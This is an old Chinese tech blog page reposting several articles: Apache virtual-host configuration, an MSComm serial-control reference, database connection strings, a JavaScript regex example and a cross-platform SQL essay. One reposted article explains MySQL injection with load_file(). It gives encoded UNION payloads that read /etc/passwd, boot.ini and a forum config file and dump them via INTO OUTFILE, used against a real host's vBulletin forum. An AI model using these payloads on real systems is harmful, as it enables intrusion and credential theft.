■站内搜索
■最后更新
■最新评论
■存档
■我的链接
Net-Tools
■网站排名情况
共2页 1 2 下一页 最后一页
呵呵。做的真是不错。CSS及XHTML技术可谓炉火纯青了。
http://www.517x.com/
保存网站的网页后,再打开,你会发现,保存的结果同网站的实际效果不一样。
其实,就是XHTML+CSS的效果。看来,模板技术,除了 服务端替换,客户端替换外,还有一种更好的方式,就是用XHTML+CSS来实现。不错不错~~~
shelly 发表于
2005-01-20 08:50:59
方法一:简单的动态虚拟主机
代码:
这是 httpd.conf 文件中,完成虚拟主机的配置方法,这里采用了 mod_vhost_alias 。
# 从 Host: 头中取得服务器名字 Server Name
UseCanonicalName Off
# 这里的日志格式,可以在将来通过第一个参数域来分隔不同的虚拟主机的日志
LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon
CustomLog logs/access_log vcommon
# 在返回请求的文件名的路径中包含进服务器名字: server name
VirtualDocumentRoot /虚拟主机空间根目录/%0/htdocs
VirtualScriptAlias /虚拟主机空间根目录/%0/cgi-bin
#需要首先建立 /%0/htdocs ,然后把文件放在htdocs才可以访问
#%0表示虚拟主机的Server Name的这个名字,例如www.net.cn
将 UseCanonicalName Off 的配置改为 UseCanonicalName DNS 即可实现基于 IP 地址的虚拟主机。而在文件路径中所要插入的服务器名字(server name) 则通过虚拟主机的 IP 地址解析而得。
方法二:多个的动态虚拟主机
代码:
UseCanonicalName Off
LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon
<Directory /www/commercial>
Options FollowSymLinks
AllowOverride All
</Directory>
<Directory /www/homepages>
Options FollowSymLinks
AllowOverride None
</Directory>
<VirtualHost 111.22.33.44>
ServerName www.commercial.isp.com
CustomLog logs/access_log.commercial vcommon
VirtualDocumentRoot /www/commercial/%0/docs
VirtualScriptAlias /www/commercial/%0/cgi-bin
</VirtualHost>
<VirtualHost 111.22.33.45>
ServerName www.homepages.isp.com
CustomLog logs/access_log.homepages vcommon
VirtualDocumentRoot /虚拟主机空间根目录/%0/htdocs
VirtualScriptAlias /虚拟主机空间根目录/%0/cgi-bin
</VirtualHost>
方法三:基于 IP 地址的虚拟主机
代码:
# 从 IP 地址反解析得到服务器名字(server name)
UseCanonicalName DNS
# 在日志中包含 IP 地址,便于后续分发
LogFormat "%A %h %l %u %t \"%r\" %s %b" vcommon
CustomLog logs/access_log vcommon
# 在文件路径中包含 IP 地址 %0表示IP
VirtualDocumentRootIP /www/hosts/%0/docs
VirtualScriptAliasIP /www/hosts/%0/cgi-bin
方法四:使用 mod_rewrite 的虚拟主机系统
代码:
RewriteEngine on
RewriteMap lowercase int:tolower
# 检查 hostname 正确与否,之后才能使 RewriteRule 起作用
RewriteCond ${lowercase:%{SERVER_NAME}} ^www\.[a-z-]+\.isp\.com$
# 将虚拟主机名字廉洁到 URI 的开头
# [C] 表明本次重写的结果将在下一个 rewrite 规则中使用
RewriteRule ^(.+) ${lowercase:%{SERVER_NAME}}$1 [C]
# 现在创建实际的文件名
RewriteRule ^www\.([a-z-]+)\.isp\.com/(.*) /home/$1/$2
重头戏
方法五:使用独立的虚拟主机配置文件
当你修改vhost.map的时候,不需要重新启动Apache
代码:
这样的布局利用了 mod_rewrite 的高级特性, 在独立的虚拟主机配置文件中转换。如此可以更为灵活,但需要较为复杂的设置。
vhost.map 文件包含了类似下面的内容:
www.customer-1.com /www/customers/1
www.customer-2.com /www/customers/2
#......
www.customer-N.com /www/customers/N
http.conf 包含了:
RewriteEngine on
RewriteMap lowercase int:tolower
# 定义映像文件
RewriteMap vhost txt:/VHOST.map的路径/vhost.map
# 和上面的例子一样,处理变名
RewriteCond %{REQUEST_URI} !^/icons/
RewriteCond %{REQUEST_URI} !^/cgi-bin/
RewriteCond ${lowercase:%{SERVER_NAME}} ^(.+)$
# 这里做基于文件的重新映射
RewriteCond ${vhost:%1} ^(/.*)$
RewriteRule ^/(.*)$ %1/docs/$1
RewriteCond %{REQUEST_URI} ^/cgi-bin/
RewriteCond ${lowercase:%{SERVER_NAME}} ^(.+)$
RewriteCond ${vhost:%1} ^(/.*)$
RewriteRule ^/(.*)$ %1/cgi-bin/$1
FROM:
http://w.yi.org/weblog/53_0_1_0.html
shelly 发表于
2005-01-17 10:30:10
MSComm控件使用详解
FROM:http://www.csdn.com.cn/program/241.htm
MSComm控件两种处理通讯的方式
CommPort属性
RThreshold 属性
CTSHolding 属性
SThreshold 属性
CDHolding 属性
DSRHolding 属性
Settings 属性
InputLen 属性
EOFEnable 属性
Handshake 常数
OnComm 常数
InputMode 常数
错误消息
MSComm 控件通过串行端口传输和接收数据,为应用程序提供串行通讯功能。MSComm控件在串口编程时非常方便,程序员不必去花时间去了解较为复杂的API函数,而且在VC、VB、Delphi等语言中均可使用。 Microsoft Communications Control(以下简称MSComm)是Microsoft公司提供的简化Windows下串行通信编程的ActiveX控件,它为应用程序提供了通过串行接口收发数据的简便方法。具体的来说,它提供了两种处理通信问题的方法:一是事件驱动(Event-driven)方法,一是查询法。
1.MSComm控件两种处理通讯的方式
MSComm控件提供下列两种处理通讯的方式:事件驱动方式和查询方式。
1.1 事件驱动方式
事件驱动通讯是处理串行端口交互作用的一种非常有效的方法。在许多情况下,在事件发生时需要得到通知,例如,在串口接收缓冲区中有字符,或者 Carrier Detect (CD) 或 Request To Send (RTS) 线上一个字符到达或一个变化发生时。在这些情况下,可以利用 MSComm 控件的 OnComm 事件捕获并处理这些通讯事件。OnComm 事件还可以检查和处理通讯错误。所有通讯事件和通讯错误的列表,参阅 CommEvent 属性。在编程过程中,就可以在OnComm事件处理函数中加入自己的处理代码。这种方法的优点是程序响应及时,可靠性高。每个MSComm 控件对应着一个串行端口。如果应用程序需要访问多个串行端口,必须使用多个 MSComm 控件。
1.2 查询方式
查询方式实质上还是事件驱动,但在有些情况下,这种方式显得更为便捷。在程序的每个关键功能之后,可以通过检查 CommEvent 属性的值来查询事件和错误。如果应用程序较小,并且是自保持的,这种方法可能是更可取的。例如,如果写一个简单的电话拨号程序,则没有必要对每接收一个字符都产生事件,因为唯一等待接收的字符是调制解调器的“确定”响应。
2.MSComm 控件的常用属性
MSComm控件有很多重要的属性,但首先必须熟悉几个属性。
CommPort 设置并返回通讯端口号。
Settings 以字符串的形式设置并返回波特率、奇偶校验、数据位、停止位。
PortOpen 设置并返回通讯端口的状态。也可以打开和关闭端口。
Input 从接收缓冲区返回和删除字符。
Output 向传输缓冲区写一个字符串。
下面分别描述:
CommPort属性 设置并返回通讯端口号。
语法 object.CommPort[value ] (value 一整型值,说明端口号。)
说明 在设计时,value 可以设置成从 1 到 16 的任何数(缺省值为 1)。但是如果用 PortOpen 属性打开一个并不存在的端口时,MSComm 控件会产生错误 68(设备无效)。
注意:必须在打开端口之前设置 CommPort 属性。
RThreshold 属性:在 MSComm 控件设置 CommEvent 属性为 comEvReceive 并产生 OnComm 之前,设置并返回的要接收的字符数。
语法 object.Rthreshold [ = value ](value 整型表达式,说明在产生 OnComm 事件之前要接收的字符数。 )
说明 当接收字符后,若 Rthreshold 属性设置为 0(缺省值)则不产生 OnComm 事件。例如,设置 Rthreshold 为 1,接收缓冲区收到每一个字符都会使 MSComm 控件产生 OnComm 事件。
CTSHolding 属性:确定是否可通过查询 Clear To Send (CTS) 线的状态发送数据。Clear To Send 是调制解调器发送到相联计算机的信号,指示传输可以进行。该属性在设计时无效,在运行时为只读。
语法: object.CTSHolding(Boolean)
Mscomm 控件的 CTSHolding 属性设置值:
True Clear To Send 线为高电平。
False Clear To Send 线为低电平。
说明:如果 Clear To Send 线为低电平 (CTSHolding = False) 并且超时时,MSComm 控件设置 CommEvent 属性为 comEventCTSTO (Clear To Send Timeout) 并产生 OnComm 事件。
Clear To Send 线用于 RTS/CTS (Request To Send/Clear To Send) 硬件握手。如果需要确定 Clear To Send 线的状态,CTSHolding 属性给出一种手工查询的方法。
详细信息 有关握手协议,请参阅 Handshaking 属性。
SThreshold 属性: MSComm 控件设置 CommEvent 属性为 comEvSend 并产生 OnComm 事件之前,设置并返回传输缓冲区中允许的最小字符数。
语法 object.SThreshold [ = value ]
value 整形表达式,代表在 OnComm 事件产生之前在传输缓冲区中的最小字符数。
说明:若设置 Sthreshold 属性为 0(缺省值),数据传输事件不会产生 OnComm 事件。若设置 Sthreshold 属性为 1,当传输缓冲区完全空时,MSComm 控件产生 OnComm 事件。如果在传输缓冲区中的字符数小于 value,CommEvent 属性设置为 comEvSend,并产生 OnComm 事件。comEvSend 事件仅当字符数与 Sthreshold 交叉时被激活一次。例如,如果 Sthreshold 等于 5,仅当在输出队列中字符数从 5 降到 4 时,comEvSend 才发生。如果在输出队列中从没有比 Sthreshold 多的字符,comEvSend 事件将绝不会发生。
Handshake 常数
常数 值 描述
comNone 0 无握手。
comXonXoff 1 XOn/Xoff 握手。
comRTS 2 Request-to-send/clear-to-send 握手。
comRTSXOnXOff 3 Request-to-send 和 clear-to-send 握手皆可。
OnComm 常数
常数 值 描述
comEvSend 1 发送事件。
comEvReceive 2 接收事件。
comEvCTS 3 clear-to-send 线变化。
comEvDSR 4 data-set ready 线变化。
comEvCD 5 carrier detect 线变化。
comEvRing 6 振铃检测。
comEvEOF 7 文件结束。
Error 常数
常数 值 描述
comEventBreak 1001 接收到中断信号
comEventCTSTO 1002 Clear-to-send 超时
comEventDSRTO 1003 Data-set ready 超时
comEventFrame 1004 帧错误
comEventOverrun 1006 端口超速
comEventCDTO 1007 Carrier detect 超时
comEventRxOver 1008 接收缓冲区溢出
comEventRxParity 1009 Parity 错误
comEventTxFull 1010 传输缓冲区满
comEventDCB 1011 检索端口 设备控制块 (DCB) 时的意外错误
InputMode 常数
常数 值 描述
comInputModeText 0 (缺省)通过 Input 属性以文本方式取回数据。
comInputModeBinary 1 通过 Input 属性以二进制方式检取回数据。
CDHolding 属性:通过查询 Carrier Detect (CD) 线的状态确定当前是否有传输。Carrier Detect 是从调制解调器发送到相联计算机的一个信号,指示调制解调器正在联机。该属性在设计时无效,在运行时为只读。
语法 object.CDHolding
设置值:CDHolding 属性的设置值为:
设置 描述
True Carrier Detect 线为高电平
False Carrier Detect 线为低电平
说明:注意当 Carrier Detect 线为高电平 (CDHolding = True) 且超时时,MSComm 控件设置CommEvent 属性为 comEventCDTO(Carrier Detect 超时错误),并产生 OnComm 事件。
注意 在主机应用程序中捕获一个丢失的传输是特别重要的,例如一个公告板,因为呼叫者可以随时挂起(放弃传输)。
Carrier Detect 也被称为 Receive Line Signal Detect (RLSD)。
数据类型 Boolean
DSRHolding 属性:确定 Data Set Ready (DSR) 线的状态。Data Set Ready 信号由调制解调器发送到相连计算机,指示作好操作准备。该属性在设计时无效,在运行时为只读。
语法:object.DSRHolding
object 所在处表示对象表达式,其值是“应用于”列表中的对象。
DSRHolding 属性返回以下值:
值 描述
True Data Set Ready 线高
False Data Set Ready 线低
说明:当 Data Set Ready 线为高电平 (DSRHolding = True) 且超时时,MSComm 控件设置 CommEvent 属性为 comEventDSRTO(数据准备超时)并产生 OnComm 事件。
当为 Data Terminal Equipment (DTE) 机器写 Data Set Ready/Data Terminal Ready 握手例程时该属性是十分有用的。
数据类型:Boolean
Settings 属性: 设置并返回波特率、奇偶校验、数据位、停止位参数。
语法: object.Settings[ = value]
说明:当端口打开时,如果 value 非法,则 MSComm 控件产生错误 380(非法属性值)。
Value 由四个设置值组成,有如下的格式:
"BBBB,P,D,S "
BBBB 为波特率,P 为奇偶校验,D 为数据位数,S 为停止位数。value 的缺省值是:
"9600,N,8,1 "
InputLen 属性:设置并返回 Input 属性从接收缓冲区读取的字符数。
语法 object.InputLen [ = value]
InputLen 属性语法包括下列部分:
value 整型表达式,说明 Input 属性从接收缓冲区中读取的字符数。
说明:InputLen 属性的缺省值是 0。设置 InputLen 为 0 时,使用 Input 将使 MSComm 控件读取接收缓冲区中全部.
shelly 发表于
2005-01-01 02:43:00
FROM:http://www.basic-ultradev.com/articles/ADOConnections/
ODBC DSNLess Connections:
MS Access ODBC DSNless connection
Driver={Microsoft Access Driver (*.mdb)};Dbq=c:\somepath\dbname.mdb;Uid=Admin;Pwd=pass;
dBase ODBC DSNless connection
Driver={Microsoft dBASE Driver (*.dbf)};DriverID=277;Dbq=c:\somepath\dbname.dbf;
Oracle ODBC DSNless connection
Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;Uid=admin;Pwd=pass;
MS SQL Server DSNless connection
Driver={SQL Server};Server=servername;Database=dbname;Uid=sa;Pwd=pass;
MS Text Driver DSNless connection
Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=c:\somepath\;Extensions=asc,csv,tab,txt;Persist Security Info=False;
Visual Foxpro DSNless connection
Driver={Microsoft Visual FoxPro Driver};SourceType=DBC;SourceDB=c:\somepath\dbname.dbc;Exclusive=No;
MySQL DSNless connection
driver={mysql}; database=yourdatabase;server=yourserver;uid=username;pwd=password;option=16386;
OLE DB Connections:
MS Access OLE DB connection
Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\somepath\dbname.mdb;User Id=admin;Password=pass;
Oracle OLE DB connection
Provider=OraOLEDB.Oracle;Data Source=dbname;User Id=admin;Password=pass;
MS SQL Server OLE DB connection
Provider=SQLOLEDB;Data Source=machineName;Initial Catalog=dbname;User ID=sa;Password=pass;
MS SQL Server OLE DB connection using an IP address
Provider=SQLOLEDB; Data Source=xx.xx.xx.xx,1433; Network Library=DBMSSOCN; Initial Catalog=dbname;User ID=sa;Password=pass;
MS Text Driver OLE DB connection
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\yourpath;Extended Properties='text;FMT=Delimited'"
shelly 发表于
2004-10-26 15:56:15
<SCRIPT LANGUAGE="JavaScript1.2">
// The name string contains multiple spaces and tabs, // and may have multiple spaces between first and last names. names = new String ( "Harry Trump ;Fred Barney; Helen Rigby ;\ Bill Abel ;Chris Hand ")
document.write ("---------- Original String" + "<BR>" + "<BR>"); document.write (names + "<BR>" + "<BR>");
// Prepare two regular expression patterns and array storage. // Split the string into array elements.
// pattern: possible white space then semicolon then possible white space pattern = /\s*;\s*/;
// Break the string into pieces separated by the pattern above and // and store the pieces in an array called nameList nameList = names.split (pattern);
// new pattern: one or more characters then spaces then characters. // Use parentheses to "memorize" portions of the pattern. // The memorized portions are referred to later. pattern = /(\w+)\s+(\w+)/;
// New array for holding names being processed. bySurnameList = new Array;
// Display the name array and populate the new array // with comma-separated names, last first. // // The replace method removes anything matching the pattern // and replaces it with the memorized string—second memorized portion // followed by comma space followed by first memorized portion. // // The variables $1 and $2 refer to the portions // memorized while matching the pattern.
document.write ("---------- After Split by Regular Expression" + "<BR>"); for ( i = 0; i < nameList.length; i++) { document.write (nameList[i] + "<BR>"); bySurnameList[i] = nameList[i].replace (pattern, "$2, $1") }
// Display the new array. document.write ("---------- Names Reversed" + "<BR>"); for ( i = 0; i < bySurnameList.length; i++) { document.write (bySurnameList[i] + "<BR>") }
// Sort by last name, then display the sorted array. bySurnameList.sort(); document.write ("---------- Sorted" + "<BR>"); for ( i = 0; i < bySurnameList.length; i++) { document.write (bySurnameList[i] + "<BR>") }
document.write ("---------- End" + "<BR>")
</SCRIPT>
执行结果:
shelly 发表于
2004-10-26 15:56:15
FROM:http://www.4ngel.net/article/30.htm
本文作者:angel 文章性质:原创 发布日期:2004-07-14
文/图 安全天使·angel[BST]
前言
我的《SQL Injection with MySQL》(《黑客防线》7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于《SQL Injection with MySQL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完。专题发表后,很多人已经陆续转到PHP+MYSQL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西,本文就不再提了。
详细
我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。 看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:
欲读取文件必须在服务器上
必须指定文件完整的路径
必须有权限读取并且文件必须完全可读
欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。
在实际的注入中,我们有两个难点需要解决:
在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。
利用
我们假设一个程序的SQL语句如下:
SELECT * FROM article WHERE articleid=$id
注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读。
此时,我们构造$id为:
-1 union select 1,1,1,1,load_file('c:/boot.ini')
我们的Query就变成:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')
程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们。
注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读。
我们构造$id为:
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。
SELECT load_file([string])
当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出。大家已经知道如何利用了,我也不说细节了,看一个实例说明一切。
实例
www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.php存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是)。这是一次完整的安全测试。仅仅获取信息,我并未进入服务器。
这里补充说明一点关于VBB的根目录下global.php的一段代码,如下:
// get rid of slashes in get / post / cookie data function stripslashesarray (&$arr) { while (list($key,$val)=each($arr)) { if ($key!="templatesused" and $key!="argc" and $key!="argv") { if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) { $arr["$key"] = stripslashes($val); } else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) { $arr["$key"] = stripslashesarray($val); } } } return $arr; }
if (get_magic_quotes_gpc() and is_array($GLOBALS)) { if (isset($attachment)) { $GLOBALS['attachment'] = addslashes($GLOBALS['attachment']); } if (isset($avatarfile)) { $GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']); } $GLOBALS = stripslashesarray($GLOBALS); }
set_magic_quotes_runtime(0);
这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管php.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入。呵呵。
我们知道,提交:
/calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,username,password FROM user WHERE userid=1
是可以获取用户名和密码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件。 因为事先我无意中访问到了含有phpinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:
WEB绝对路径:/home/4ngel
可写目录路径:/home/4ngel/soft/
magic_quotes_gpc = on
和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MySQL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑密码。直接从ssh上去。
VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码,提交:
calendar.php?action=edit&eventid=1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'
呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值,就不用where了,就像这样:
calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1,load_file(char(47,104,111,109,101,47,52,110,103,101,108,47,102,111,114,117,109,47,97,100,109,105,110,47,99,111,110,102,105,103,46,112,104,112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'
/etc/passwd转换成ASCII代码,提交:
calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47,101,116,99,47,112,97,115,115,119,100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'
注意看到论坛的顶部,会出现下面的错误提示:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154
经验告诉我们,文件导出成功了,提交:
http://www.xxxhost.cn/soft/cfg.txt http://www.xxxhost.cn/soft/etcpwd.txt
内容哗啦啦的出来了,而黑夜和猪蛋的他们入侵灰色的时候,一个个显示密码,欺骗,登陆后台,上传后门,读取config.php,一连串的步骤,我一个load_file()就搞定了。是不是危害很大?如图:
我记得在某个群里讨论到大家都是通过搞9****.net这个站,而进入黑白服务器的,没有办法对黑白横冲直闯,只得来曲线的。用load_file()函数,知道了某些信息就可以进入黑白所在的服务器,过程和上面的一样,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,远程连接,写数据库导出文件,很容易获得服务器admin。
后记
由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的操作。谢谢合作!
【打印这篇文章 】【关闭该窗口 】
shelly 发表于
2004-10-25 06:02:11
数据库的跨平台设计 作者: BUILDER.COM 来源:ZDNet 2002/5/8 开发者们应该知道,使用那些非标准的SQL命令(比如Oracle、微软和MySQL等数据库系统)存在程度相当高的危险。也就是说,从跨平台和遵守标准的角度出发,你应该尽量采用ANSI SQL,它是一种和平台无关的数据库语言。不管你在使用哪种数据库系统,如果它完全支持SQL那么它就应该支持ANSI SQL-92标准。可是,“应该支持”和“确实支持”完全是两码事。在进行DBMS跨平台编程的时候,并不是所有的系统都完全支持ANSI SQL标准。这篇文章主旨就是提出使用非标准SQL时所存在的风险及其相关的建议。别使用存储过程 在某些编程环境下,出于效率和安全等方面的原因,存储过程成为程序员开发数据库应用程序的唯一方法。Visual Basic、C和Java程序员都并不需要了解SQL。然而,在其他某些编程环境下,存储过程又是完全禁用的。MySQL通常和Apache Web服务器组合使用,这是因为这两种软件不仅免费、可靠而且功能强大,但是,恰恰是MySQL不支持存储过程。 --------------------------------------------------------------------------------存储过程的定义 所谓存储过程就是组成一个逻辑单元而且执行特别任务的一组SQL语句。存储过程用来封装针对数据库服务器的一整套操作或查询。 -------------------------------------------------------------------------------- Oracle和SQL服务器两者都包括了“内建”的存储过程,其使用也是很方便的。可是,如果明智的话千万别指望它们,你无法保证数据库管理员是否锁定、删除或修改了这些存储过程。如果你发现可用的某些存储过程正是你需要的,你这才可以在自己的代码中使用它们的功能。 通常,你能在Oracle或SQL Server上使用存储过程但在MySQL上则无法利用。如果你确实用到了它们,那么你得保证自己没有用到同特定平台相关的命令(以后讨论)。别使用连接 连接是Oracle和SQL Server 这两种DBMS上令人头痛的一个问题,因为这两种系统在连接的概念上有根本的不同。基本上,各个DBMS的连接工作原理不总是一样的,而且你最终可能会得到意外的结果集合。在我们谈论各个系统有关连接的概念差别以及如何解决这些问题之前,你应该理解基本的连接子句: 连接 Join(连接)是从多个数据源获取数据的SQL数据表创建命令。 等连接 Equi-Join从两个独立的数据源获取数据并把它们组合成一个大表。 内/外连接 内连接(Inner Join)把两个表的内部列连接起来。外连接把两个表的外部列连接起来。 左/右连接 左连接(Left Join)连接两个表左边的列。右连接则连接两个表右边的列。 复合/复杂连接 其他各种连接—左/内、左/外、右/内和右/外等。 反正你得记清楚了,如果你想要自己的应用程序能在各种数据库服务器上都能工作那么就别使用连接。 ANSI SQL:CREATE, DROP, ADD, UPDATE, DELETE, INSERT, SELECT 总之,你应当用到的唯一命令如下: 数据定义语言(DDL)下的CREATE 和DROP。 数据操作语言(DML)下的ADD、UPDATE、DELETE和INSERT 。 获取数据的SELECT。 如果你在这些命令中使用了区分大小写的表格或字段名,或者这些名字包含了空格或其它特殊字符,那么你最好用方括号把名字围起来。这样做有助于防止非标准字符引发DBMS的不正常反应。 引用的完整性:键和数据类型 使用关系数据库的决定性原因就是明确数据之间的关系而且维持那些关系的完整性。这样才能让开发者以最小的冗余性、最高效的方式存储数据。键定义了关系。数据类型定义了存储和操作数据的规则。这些就是一个数据库的基本方面,但是具体的语法却可能因为数据库的不同而不同。 数据类型 只有很少部分的数据类型得到所有数据库服务器的支持。每一种DBMS都有它自己的数据类型以及为什么要这样使用它们的原因。某些专有数据类型(比如Microsoft Access的AUTONUMBER)用起来确实相当方便。 以下是ANSI数据类型: BIT, CHARACTER, DATE, DECIMAL, DOUBLE PRECISION, FLOAT, INTEGER, INTERVAL, NUMERIC, REAL, SMALLINT, TIMESTAMP, TIME, VARBIT, VARCHAR, CHAR 以下是Oracle/Access/SQL不支持的“标准”数据类型: INTERVAL, TIME, VARBIT 只有Oracle才支持DATE,但是以下的“标准”数据类型不被Oracle支持: BIT, DECIMAL, NUMERIC, TIMESTAMP 以下的“标准”数据类型不被Access支持: BIT, CHARACTER, DATE, NUMERIC, SMALLINT, TIMESTAMP 这样,只有以下的数据类型可以保证在各类数据库上都能使用: DOUBLE PRECISION, FLOAT, INTEGER, NUMERIC, REAL, SMALLINT, VARCHAR, CHAR 主/外键 假设某个表内有两个字段,创建这个表的语法如下: CREATE TABLE [MyTable] ([FieldA] VARCHAR, [FieldB] VARCHAR); 为了添加主键以便表内的每一条记录都唯一标识你可以采用PRIMARY KEY 表达式: CREATE TABLE [MyTableA] ([RecordID] VARCHAR PRIMARY KEY, [FieldA] VARCHAR, [FieldB] VARCHAR); 在创建另一个表,其中一个字段索引第1个表,你可以把该字段定义为同第1个表的字段具有关系的外键: CREATE TABLE [MyTableB] ([RecordID] VARCHAR PRIMARY KEY, [FieldA] VARCHAR, [FieldB] VARCHAR, [FieldC] VARCHAR REFERENCES [MyTableA]([FieldA])) 在以上例子中,所有的字段都是VARCHAR类型;但是你得记住,某一数据类型字段只能索引同一数据类型的字段。ODBC 和 JDBC 如果你在编写的应用程序要用到SQL数据库连接,那么你可以用ODBC完成该功能。如果它是一个Java应用程序则可以用JDBC(简而言之就是ODBC的Java接口)。 因为你希望自己的应用程序最好不要引起管理员的注意,所以你应该为你用户的DBMS包括所有必要的ODBC驱动程序。这样,如果用户从一个平台转移到另一个平台,它们所需要的驱动程序却已经事先拥有了。 你的应用程序应该通过编程的方式决定当前用到的ODBC驱动程序对应何种DBMS。这样你才能用上那些数据库服务器上强大的、同特定平台相关的命令。另类浏览器之战 最流行的浏览器当然是微软的Internet Explorer和Netscape的Navigator了。但是,不管你手头用的是哪一种,它能保证支持现有的所有网站吗?错!很多花哨的东西,比如DHTML、框架以及多媒体等等都各自受到两类浏览器中非标准的HTML标签的支持。 因为程序在这两种国际标准的岔路口无所适从,所以你必须为两种浏览器编写代码或者编写最具普遍性的功能代码而放弃大量的动态内容。 数据库服务器也面临同样的问题。ANSI SQL-92是人人赞同的标准。然而,Oracle、微软以及其他数据库厂商还自作主张加入了很多破坏SQL代码的特性。因此,你不仅得编写遵从基本规范(SQL-92)的代码,而且的代码还得根据具体用到的产品实现不同的特性。 在你自己的应用程序内,你必须正确地决定应用程序将使用什么类型的数据库,而且数据库应该定位在哪里。你还得老练地处理应用程序或用户产生的任何错误。你当然不希望仅仅因为文件被删除或者网线连接松弛就导致程序崩溃(或服务器崩溃)。在经过精心设计的网络上,数据库服务器通常同工作站和Web服务器、应用服务器在物理上相分离,因此断开连接是很常见的。小结 作为Web开发者,你需要对应用程序使用非标准SQL命令的危险保持高度的小心。这篇文章的中心思想是建议用ANSI SQL编写跨平台的应用程序。利用ANSI SQL减少商业数据库系统的非标准方言所带来的头疼问题。
http://www.sawin.com.cn/doc/SD/Database/spandb.htm
shelly 发表于
2004-10-16 07:34:21
